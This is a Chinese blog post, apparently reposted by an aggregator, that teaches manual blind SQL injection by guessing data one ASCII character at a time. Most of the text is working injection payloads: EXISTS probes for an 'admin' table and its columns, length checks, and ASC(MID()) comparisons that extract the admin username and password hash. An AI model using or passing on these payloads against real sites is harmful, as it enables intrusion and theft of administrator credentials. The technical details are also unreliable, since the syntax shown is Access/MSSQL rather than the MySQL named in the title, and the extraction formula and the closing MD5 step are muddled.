Ascii逐字解码法注入,mysql5.0一下版本手工注入
Posted 可我浪费着我寒冷的年华
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Ascii逐字解码法注入,mysql5.0一下版本手工注入相关的知识,希望对你有一定的参考价值。
/*By:珍惜少年时*/
逐字解码法,不一定非要猜字段内容。库名,表名,字段,data,都能猜。环境过滤了union(mysql5.0以下的版本就不支持union所以也可以用此方法),你可以用这方法。exists只是其中一种,还有别的方法也能猜。
注入思路:
先把表跟字段猜解出来,猜解出来了.这个算是一个半猜解查询吧
00x1判断表是否存在
and exists (select * from admin) //猜解是否含有admin这个表
00x2判断字段是否存在
and exists (select username from admin) //猜解是否含有username这个字段 and exists (select password from admin) //猜解是否含有password这个字段
00x3字段长度的判断,判断了其长度更利于注入。比如判断了username的长度为五,那么极有可能是admin
username字段的判断: and (select top 1 len(username) from admin)>5 //返回错误 and (select top 1 len(username) from admin)=5 //返回正确,说明username的单词长度为五个,很有可能是admin password字段的判断: and (select top 1 len(password) from admin)>16 //返回错误 and (select top 1 len(password) from admin)=16 //返回正确,说明password的单词长度为十六位的,很可能是经过md5加密的.
00x4[猜解管理员账号] //使用ASCII转换即可获得加密内容.
and(select top 1 asc(mid(username,1,1)) from admin)>97 错误 and(select top 1 asc(mid(username,1,1)) from admin)=97 正确 则说明只有第一位的ASCII码为九十七 and(select top 1 asc(mid(username,2,1)) from admin)=100 第二位也是同理.只不过mid函数里要修改以下部分内容 and(select top 1 asc(mid(username,3,1)) from admin)=109 and(select top 1 asc(mid(username,4,1)) from admin)=105 and(select top 1 asc(mid(username,5,1)) from admin)=110
00x5[猜解管理员密码]//与猜解账号方法大同小异
公式:and(select top 1 asc(mid(password,a,n)) from admin)>97 //注:a大于n大1,后面的数字是ascii。
and(select top 1 asc(mid(password,1,1)) from admin)>97 and(select top 1 asc(mid(password,1,1)) from admin)=97 and(select top 1 asc(mid(password,2,1)) from admin)=50 and(select top 1 asc(mid(password,3,1)) from admin)=36 ......................................................
然后将97 50 36 等ascii码拿去解密。即可拿到真正的md5值
以上是关于Ascii逐字解码法注入,mysql5.0一下版本手工注入的主要内容,如果未能解决你的问题,请参考以下文章